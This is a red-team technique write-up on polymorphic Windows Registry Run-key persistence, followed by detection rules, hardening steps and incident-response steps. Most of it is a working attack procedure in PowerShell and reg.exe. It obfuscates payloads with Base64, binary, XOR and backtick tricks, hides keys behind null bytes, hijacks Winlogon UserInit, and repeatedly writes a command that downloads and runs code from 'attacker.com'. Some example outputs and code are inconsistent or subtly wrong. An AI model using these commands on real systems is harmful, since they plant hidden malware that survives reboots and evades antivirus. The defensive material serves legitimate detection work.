| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-029 |
| MITRE ATT&CK v18.1 | T1112 - Modify Registry |
| Tactic | Defense Evasion, Persistence |
| Platforms | Windows Endpoint (Server 2016-2025) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025; Windows 10 21H2+; Windows 11 all versions |
| Patched In | N/A (Registry modification is inherent to Windows) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Registry Run Key Polymorphism is a defensive evasion technique where adversaries create persistence mechanisms via the Windows Registry’s Run/RunOnce keys while employing dynamic naming schemes, encoding, and structural variations to evade signature-based detection. Unlike traditional Run key persistence (T1547.001), which uses static, predictable key names (e.g., HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[MalwareName]), polymorphic variants randomize key naming, prepend null bytes, nest keys within unexpected registry hives, and vary the data types stored (binary vs. string encoded payloads). This technique combines T1112 (Modify Registry) with obfuscation methodologies (T1027.001 - Polymorphic Code) to create a moving target for detection systems reliant on signature matching or static key enumeration.
Attack Surface: The Windows Registry (HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE hives), specifically the CurrentVersion Run/RunOnce keys and lesser-monitored locations like UserInit, Notify, and Winlogon keys. The technique targets both standard and application-specific registry locations where executables are auto-launched.
Business Impact: Persistent, undetectable malware execution across user logons. Attackers maintain a foothold that survives reboots and standard antivirus scans, enabling data exfiltration, lateral movement, and ransomware deployment. The polymorphic nature means each system’s registry contains differently-named malware launch points, defeating bulk detection via YARA rules or static IOC lists.
Technical Context: Polymorphic registry persistence typically takes 500-2000ms per system to implement (registry writes are synchronous). Detection likelihood is LOW if using signature-based tools that expect static registry paths (e.g., monitoring only HKCU\...\Run). Detection likelihood is MEDIUM-HIGH if using behavioral anomaly detection, process execution monitoring, or entropy-based registry value scanning.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 8.5.5 | Ensure ‘Modify Registry’ object access is ‘Enabled’ and monitored for sensitive keys |
| DISA STIG | SV-220903r879766_rule | Windows must ensure that registry modifications are logged and monitored for unauthorized access |
| CISA SCuBA | Endpoint-SEC-12 | Endpoint Security Baseline: Autorun Registry Monitoring |
| NIST 800-53 | AU-2(a), AC-2(f) | System Monitoring; Privileged Account Management and Registry Auditing |
| GDPR | Art. 32 | Security of Processing – measures to prevent unauthorized registry modifications |
| DORA | Art. 9 | Protection and Prevention measures against registry-based persistence attacks |
| NIS2 | Art. 21(1)(a) | Cyber Risk Management Measures – detection and response to unauthorized system modifications |
| ISO 27001 | A.8.3, A.12.4.1 | Control of access to information assets; Audit logging and monitoring |
| ISO 27005 | Malware Infection Risk | Risk scenario: Unauthorized registry modification leading to persistent malware execution |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Identify if standard Run key monitoring is in place and enumerate existing registry auto-start locations.
# Enumerate HKCU Run keys (user-level persistence)
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Format-Table PSPath, Name, (Get-ItemProperty).Values
# Enumerate HKLM Run keys (system-level persistence)
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Format-Table PSPath, Name, (Get-ItemProperty).Values
# Check for RunOnce keys (single-execution persistence)
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
# Scan for Winlogon UserInit hijacking (often overlooked)
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-Object -Property UserInit
# Check for hidden registry keys (null-byte obfuscation)
$null = reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "$(([char]0))" 2>$null
if ($?) { Write-Host "[!] Null-byte hidden key detected!" }
What to Look For:
Get-ItemPropertyValue -Path ... -Name "(Get-Item).PSParentPath | Get-Item | Select LastWriteTime)Version Note: PowerShell Registry Cmdlets (Get-ItemProperty, New-ItemProperty) work consistently across Server 2016-2025 and Windows 10/11. No version-specific syntax changes.
Supported Versions: Windows Server 2016-2025, Windows 10/11 all versions
Objective: Create a randomized, hard-to-detect registry key name that evades static monitoring patterns.
Command (All Versions):
# Generate random key name (appears legitimate but is procedurally generated)
$randomKey = -join ((1..10) | ForEach-Object { [char][int][math]::floor(65 + (Get-Random -Maximum 26)) })
# Example output: KVXRPMQNAB (random alphanumeric)
# Alternative: Use GUID format (mimics Windows system keys)
$guidKey = ([guid]::NewGuid()).ToString() -replace '-', ''
Write-Host "[+] Generated polymorphic key name: $guidKey"
# Example output: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
Expected Output:
[+] Generated polymorphic key name: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-Random cmdlet not available
System.Random class:
$rnd = New-Object System.Random
$randomKey = -join ((1..10) | ForEach-Object { [char](65 + $rnd.Next(26)) })
References & Proofs:
Objective: Obfuscate the malicious command to evade static content scanning.
Command (All Versions):
# Payload: cmd.exe /c powershell -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# Method 1: BASE64 Encoding
$payload = "cmd.exe /c powershell -NoProfile -WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')`""
$encodedPayload = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))
Write-Host "[+] BASE64 Encoded: $encodedPayload"
# Method 2: PowerShell Obfuscation (Invoke-Obfuscation-like pattern)
$obfuscated = 'powershell -NoP -WindowStyle H -C "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/payload.ps1'')"'
Write-Host "[+] Obfuscated: $obfuscated"
# Method 3: Binary Registry Value (BINARY type instead of STRING)
# This prevents grep/string-scanning from detecting the payload
$binaryPayload = [System.Text.Encoding]::ASCII.GetBytes($payload)
Expected Output:
[+] BASE64 Encoded: YwBtAGQALgBlAHgAZQAgAC8AYwAgAHAAbwB3ZQByAHMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBDAG8AbQBtAGEAbgBkACAAIgBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBhAHQAdABhAGMAawBlAHIALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkAIgA=
[+] Obfuscated: powershell -NoP -WindowStyle H -C "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
What This Means:
reg query enumeration (requires binary parsing).OpSec & Evasion:
Troubleshooting:
[Convert]::ToBase64String returns incorrect output
[System.Text.Encoding]::Unicode for PowerShell payloads, ASCII for shell commandsReferences & Proofs:
Objective: Install the obfuscated payload into the registry using the polymorphic key name, varying the registry location to evade monitoring.
Command (Server 2016-2019):
# Standard location (monitored by most tools)
$keyPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$keyName = $randomKey # Use previously generated polymorphic name
$value = $encodedPayload # BASE64 encoded command
# Write the registry value
New-ItemProperty -Path $keyPath -Name $keyName -Value $value -PropertyType String -Force | Out-Null
Write-Host "[+] Polymorphic registry key written: $keyPath\$keyName"
# Verify
Get-ItemProperty -Path $keyPath -Name $keyName
Command (Server 2022+):
# Modern version with alternate registry locations
$keyPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$keyName = $randomKey
$value = "powershell -NoP -W H -C `"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')`""
# Method 1: Standard Run key
New-ItemProperty -Path $keyPath -Name $keyName -Value $value -PropertyType String -Force | Out-Null
# Method 2: Alternate location (UserInit hijacking - less monitored)
$altKeyPath = "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
New-ItemProperty -Path $altKeyPath -Name "UserInit" -Value $value -PropertyType String -Force | Out-Null
# Method 3: RunOnce with exclamation mark (executes once, key auto-deletes)
$runOncePath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
New-ItemProperty -Path $runOncePath -Name "!$randomKey" -Value $value -PropertyType String -Force | Out-Null
Write-Host "[+] Polymorphic persistence installed via $keyPath\$keyName"
Command (Server 2025 with Defender Hardening):
# On Server 2025, registry modifications may trigger Defender alerts
# Use WMI to bypass some detection mechanisms (runs in System context, harder to monitor)
$keyPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$keyName = $randomKey
$value = "powershell -NoP -W H -C `"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')`""
# Method: WMI StdRegProv (remote registry modification capability)
$reg = [WmiClass]"\\.\root\default:StdRegProv"
$regPath = "Software\Microsoft\Windows\CurrentVersion\Run"
$hive = 2147483649 # HKEY_CURRENT_USER constant
# Create the registry value via WMI
$result = $reg.SetStringValue($hive, $regPath, $keyName, $value)
if ($result.ReturnValue -eq 0) {
Write-Host "[+] WMI registry modification successful"
} else {
Write-Host "[-] WMI registry modification failed (code: $($result.ReturnValue))"
}
Expected Output (Server 2016-2022):
[+] Polymorphic registry key written: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\KVXRPMQNAB
Name Property
---- --------
KVXRPMQNAB YwBtAGQALgBlAHgAZQAgAC8AYwAgAHAAbwB3ZQByAHMAaGBlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBDAG8AbQBtAGEAbgBkACAAIgBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAXQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBhAHQAdABhAGMAawBlAHIALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkAIgA=
What This Means:
OpSec & Evasion:
Troubleshooting:
Access Denied when writing to HKCU
runas /user:SYSTEM cmd.exe or PSEXEC, or target HKLM instead (requires admin)Cannot find path 'HKCU:\...' (WMI method)
"Software\Microsoft\Windows\CurrentVersion\Run" not "\Software\...\"References & Proofs:
Objective: Confirm the polymorphic key is properly installed and will execute on next logon.
Command (All Versions):
# Enumerate the written registry key
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object $keyName
# Alternative: Use WMI to verify
$reg = [WmiClass]"\\.\root\default:StdRegProv"
$result = $reg.GetStringValue(2147483649, "Software\Microsoft\Windows\CurrentVersion\Run", $keyName)
Write-Host "Registry value present: $($result.ReturnValue -eq 0)"
Write-Host "Value: $($result.sValue)"
# Check if the key will trigger on next logon (manual test)
Write-Host "[+] Persistence will execute on next user logon or system reboot"
Expected Output:
[+] Persistence will execute on next user logon or system reboot
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: Windows Server 2008+ (includes 2016-2025)
Objective: Create a registry key name that begins with a null byte, rendering it invisible to standard enumeration tools.
Command (All Versions):
# Null-byte prepended key name
$nullPrefix = [char]0 # Null byte character
$normalKey = "WindowsUpdate" # Appears as legitimate system key
$hiddenKeyName = "$nullPrefix$normalKey"
Write-Host "Hidden key name (null-byte prepended): $([System.BitConverter]::ToString([System.Text.Encoding]::Unicode.GetBytes($hiddenKeyName)))"
# Output: 00-00-57-00-69-00-6E-00... (Unicode hex representation showing null byte at start)
Expected Output:
Hidden key name (null-byte prepended): 00-00-57-00-69-00-6E-00-64-00-6F-00-77-00-73-00-55-00-70-00-64-00-61-00-74-00-65-00
What This Means:
OpSec & Evasion:
Troubleshooting:
The term '$nullPrefix' is not recognized
powershell.exe not powershell_ise.exeReferences & Proofs:
Objective: Use the native Reg.exe tool to write the null-byte key (PowerShell’s New-ItemProperty may not support null bytes directly).
Command (All Versions, Admin Required):
REM Null-byte registry key creation via Reg.exe
REM Note: Null bytes in command line are tricky; use a workaround
REM Method 1: Direct null-byte injection (works on most versions)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "^@WindowsUpdate" /t REG_SZ /d "powershell -NoP -W H -C 'IEX (New-Object Net.WebClient).DownloadString(...)'" /f
REM Method 2: Use PowerShell to directly manipulate registry with null byte
powershell -Command "$nullKey = [char]0 + 'WindowsUpdate'; New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $nullKey -Value 'cmd.exe /c malicious_payload.exe' -PropertyType String -Force"
Expected Output (Reg.exe):
The operation completed successfully.
Expected Output (PowerShell):
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
PSChildName : Run
PSDrive : HKCU
PSProvider : Microsoft.PowerShell.Core\Registry
WindowsUpdate : cmd.exe /c malicious_payload.exe
What This Means:
OpSec & Evasion:
Troubleshooting:
Null bytes are not supported in registry key names (PowerShell)
References & Proofs:
Supported Versions: Windows Server 2016-2025
Objective: Store the malicious command as binary data rather than a readable string, evading static scanning.
Command (All Versions):
# Payload to embed
$payload = "powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand <BASE64_PAYLOAD_HERE>"
# Convert to hex string
$hexPayload = -join ($payload.ToCharArray() | ForEach-Object { "{0:X2}" -f [int][char]$_ })
Write-Host "[+] Hex-encoded payload: $hexPayload"
# Alternative: Store as binary type in registry
$binaryPayload = [System.Text.Encoding]::ASCII.GetBytes($payload)
$randomKeyName = "System$(Get-Random -Minimum 1000 -Maximum 9999)"
# Write as BINARY type (REG_BINARY) instead of STRING (REG_SZ)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name $randomKeyName `
-Value $binaryPayload `
-PropertyType Binary `
-Force | Out-Null
Write-Host "[+] Binary registry value written: $randomKeyName"
Expected Output:
[+] Hex-encoded payload: 706F7765727368656C6C2E657865202D4E6F50726F66696C65202D57696E646F775374796C652048696464656E202D456E636F646656436F6D6D616E6420...
[+] Binary registry value written: System5723
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Windows Server 2016-2025
Objective: Write polymorphic persistence to registry locations monitored less frequently than Run/RunOnce.
Command (All Versions):
# Standard locations (heavily monitored)
$standardLocations = @(
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
)
# Alternate locations (less monitored by standard tools)
$altLocations = @(
"HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon", # UserInit hijacking
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System", # Shell hijacking
"HKLM:\System\CurrentControlSet\Services\*\ImagePath", # Service registry (dangerous)
"HKCU:\Software\Classes\.txt\shell\open\command", # File association hijacking
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Shell" # Debugger hijacking
)
# Choose a polymorphic location
$targetPath = $altLocations | Get-Random
$keyName = "$(Get-Random -Minimum 10000000 -Maximum 99999999)"
$payload = "cmd.exe /c C:\temp\malware.exe"
# Write to alternate location
New-ItemProperty -Path $targetPath -Name $keyName -Value $payload -PropertyType String -Force | Out-Null
Write-Host "[+] Polymorphic persistence written to: $targetPath\$keyName"
Expected Output:
[+] Polymorphic persistence written to: HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\82745932
What This Means:
OpSec & Evasion:
References & Proofs:
Atomic Red Team Test: T1112.001
Test Name: Modify Registry - Run Key Persistence
Description: Creates a registry Run key to maintain persistence across system reboots.
Supported Versions: Windows 10+, Server 2016+
Commands:
# Atomic Red Team Test ID: T1112.001 variant
Invoke-AtomicTest T1112 -TestNumbers 1
# Manual equivalent:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PolymorphicUpdate" /t REG_SZ /d "powershell.exe -Command 'Write-Host Executed'" /f
# Cleanup:
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PolymorphicUpdate" /f
Note: Standard Atomic Red Team tests do not include polymorphic variants; the above command demonstrates the base test for T1112 with a polymorphic key name.
Reference: Atomic Red Team T1112
Version: Included with all Windows versions (no installation required)
Minimum Version: Windows XP (available on all supported versions)
Supported Platforms: Windows Server 2016-2025, Windows 10/11
Version-Specific Notes:
reg add \\REMOTE_IP\HKCU...)Installation: Built-in; no installation required
Usage:
REM Add registry key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeyName" /t REG_SZ /d "C:\path\to\malware.exe" /f
REM Query registry
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeyName"
REM Delete registry key
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeyName" /f
Version: v14.0+ (as of 2024)
Minimum Version: v13.0
Supported Platforms: Windows 7+ (including Server 2008+)
Version-Specific Notes:
Installation:
REM Download from Sysinternals
cd C:\tools
curl -O https://live.sysinternals.com/autoruns.exe
REM Run (admin required for full functionality)
autoruns.exe /autostartupfolder:C:\autostart_report.arf
Usage:
REM Export all autostart items to file
autoruns64.exe /autostartupfolder:C:\autostart_report.arf
REM Filter for Run/RunOnce keys only
autoruns64.exe | findstr "Run Registry"
Version: 5.1+ (standard on Windows 10/11/Server 2016+)
Minimum Version: 3.0 (Windows 8+), but 5.1+ recommended for full functionality
Supported Platforms: All Windows versions
Version-Specific Notes:
Usage:
# Get registry property
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
# Create new registry property
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "PolyKey" -Value "C:\malware.exe" -PropertyType String -Force
# Remove registry property
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "PolyKey" -Force
Event ID: 13 (Sysmon) – Registry Object Added or Deleted
TargetObject containing “CurrentVersion\Run” or “Winlogon” with unusual Details (encoded values, external URLs)Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy on Server 2022+):
auditpol /set /subcategory:"Registry" /success:enable /failure:enableSysmon Configuration (XML):
<RuleGroup name="Registry Run Key Monitoring" groupRelation="or">
<RegistryEvent onMatch="include">
<TargetObject condition="contains">CurrentVersion\Run</TargetObject>
<TargetObject condition="contains">CurrentVersion\RunOnce</TargetObject>
<TargetObject condition="contains">Winlogon\UserInit</TargetObject>
<Details condition="contains any">powershell;cmd;wmi;http</Details>
</RegistryEvent>
</RuleGroup>
Rule 1: Polymorphic Registry Run Key Creation (Behavioral Anomaly)
Rule Configuration:
KQL Query:
// Detects polymorphic registry key creation with encoded payloads
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKeyPath contains @"Software\Microsoft\Windows\CurrentVersion\Run"
or RegistryKeyPath contains @"Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
| where RegistryValueData matches regex @"^[A-Za-z0-9+/]+=*$" // BASE64 pattern
or RegistryValueData contains "powershell" or RegistryValueData contains "cmd.exe"
or RegistryValueData matches regex @"\\x[0-9a-fA-F]{2}" // Hex encoding pattern
| where RegistryValueName !in ("*Update*", "*Windows*", "Windows Update", "SecurityHealth")
| summarize RegistryCount=count(), UniqueDevices=dcount(DeviceId) by RegistryKeyPath, RegistryValueName, RegistryValueData
| where RegistryCount >= 1 and UniqueDevices >= 1
What This Detects:
Manual Configuration Steps (Azure Portal):
Polymorphic Registry Persistence DetectionHighDetects polymorphic registry key creation with obfuscated payloads1 hour1 dayManual Configuration Steps (PowerShell):
# Install Sentinel PowerShell module
Install-Module -Name Az.SecurityInsights -Force
# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create the analytics rule
$rule = @{
DisplayName = "Polymorphic Registry Persistence Detection"
Query = @"
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKeyPath contains @"Software\Microsoft\Windows\CurrentVersion\Run"
| where RegistryValueData matches regex @"^[A-Za-z0-9+/]+=*$"
| summarize by RegistryKeyPath, RegistryValueName, RegistryValueData
"@
Severity = "High"
Enabled = $true
QueryFrequency = "PT1H"
QueryPeriod = "P1D"
}
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName @rule
1. Enable Enhanced Registry Monitoring via Sysmon
Implement Sysmon with a focused rule set to detect registry modifications in real-time.
Applies To Versions: Server 2016-2025, Windows 10/11
Manual Steps (Deployment via Group Policy):
sysmon-config.xml):
<Sysmon schemaversion="4.20">
<RuleGroup name="Registry Monitoring" groupRelation="or">
<RegistryEvent onMatch="include">
<TargetObject condition="contains">CurrentVersion\Run</TargetObject>
<Image condition="excludes">explorer.exe;svchost.exe</Image>
</RegistryEvent>
</RuleGroup>
</Sysmon>
C:\Windows\System32\sysmon64.exe -accepteula -i C:\Windows\System32\sysmon-config.xmlGet-Service Sysmon64 (should show Running)Validation Command:
# Verify Sysmon is monitoring registry changes
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=13]]" -MaxEvents 5
# Expected output: Recent registry modification events (EventID 13)
2. Disable Unnecessary Registry Keys (Defense in Depth)
Disable or remove registry keys that are not required for business operations.
Applies To Versions: Server 2016-2025 (with caution)
Manual Steps (PowerShell):
# Identify and remove suspicious registry Run keys
$runPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$allowedValues = @("OneDrive", "Skype", "Adobe") # Whitelist known-good values
Get-ItemProperty -Path $runPath | ForEach-Object {
$_.PSObject.Properties | Where-Object { $_.Name -notin @("PSPath", "PSParentPath", "PSChildName", "PSDrive", "PSProvider") } | ForEach-Object {
if ($_.Name -notin $allowedValues) {
Write-Host "[!] Suspicious registry value: $($_.Name) = $($_.Value)"
# Uncomment to remove: Remove-ItemProperty -Path $runPath -Name $_.Name -Force
}
}
}
Manual Steps (Group Policy):
gpupdate /forceValidation Command:
# Verify only whitelisted registry values exist
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object -ExcludeProperty PSPath*, PS* | Measure-Object | Select-Object -ExpandProperty Count
# Should show minimal entries (ideally < 5)
3. Implement Behavioral Registry Monitoring (EDR/NGAV)
Deploy endpoint detection and response (EDR) solutions that monitor registry behavior in real-time.
Manual Steps (Microsoft Defender for Endpoint):
Validation Command:
# Check Defender threat/vulnerability detection status
Get-MpPreference | Select-Object -Property DisableRealtimeMonitoring, DisableBehaviorMonitoring
# Should show: False, False (both enabled)
4. Enforce Code Signing Requirements
Require that only signed executables can be launched via registry Run keys (Device Guard / Windows Defender Application Control).
Manual Steps (Server 2022+):
gpupdate /forceValidation Command:
# Verify Device Guard is enabled
Get-CimInstance -ClassName Win32_ComputerSystemProduct | Select-Object -ExpandProperty Version
# Should show Windows 10/11/Server with Device Guard capable CPU
Get-MpPreference | Select-Object -Property SignatureVersion, DisableRealtimeMonitoring
C:\Users\[Username]\AppData\Local\Temp\ or C:\Windows\System32\config\reg query ... /s with timestamp inspection)# Disconnect network interface
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# OR disconnect RDP/remote access
taskkill /IM svchost.exe /F # (Careful: this is extreme and may break connectivity)
# Export registry hive
reg export "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" C:\Evidence\Run_keys.reg
# Export event logs
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl System C:\Evidence\System.evtx
# Remove malicious registry key
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "[PolyKey]" -Force
# Scan with antivirus
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType FullScan -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [REALWORLD-001] BAV2ROPC Attack Chain | Attacker gains initial credential compromise via legacy auth protocol abuse |
| 2 | Persistence | [REALWORLD-029] Registry Run Key Polymorphism | Attacker establishes polymorphic registry persistence to survive reboots |
| 3 | Defense Evasion | [T1112 Modify Registry] + [T1027.001 Polymorphic Code] | Malware obfuscates registry values and uses random key names to evade detection |
| 4 | Privilege Escalation | [T1134.005 Access Token Manipulation] | Malware escalates to SYSTEM via token impersonation or UAC bypass |
| 5 | Impact | [T1537 Data Transfer to External Locations] | Attacker exfiltrates sensitive data via the polymorphic malware payload |
$key = Get-Random -Minimum 0 -Maximum 255
$payload = "malicious_command"
$xorEncoded = -join ($payload.ToCharArray() | ForEach-Object { "{0:X2}" -f ([int][char]$_ -bxor $key) })
# Store $xorEncoded in registry; decode at runtime with same $key
[System.Reflection.Assembly]::LoadWithPartialName("System.IO.Compression.GZipStream") | Out-Null
$compressedPayload = New-Object IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GZipStream($compressedPayload, "Compress")
$gzipStream.Write([System.Text.Encoding]::Unicode.GetBytes($payload), 0, $payload.Length)
$gzipStream.Flush()
$gzipStream.Dispose()
$base64Compressed = [Convert]::ToBase64String($compressedPayload.ToArray())
# Store in registry; decompress at runtime
# Instead of: "powershell.exe -Command ..."
# Use: "po`wer`shell.exe -Com`mand ..."
# Backticks are ignored by PowerShell parser but defeat simple string matching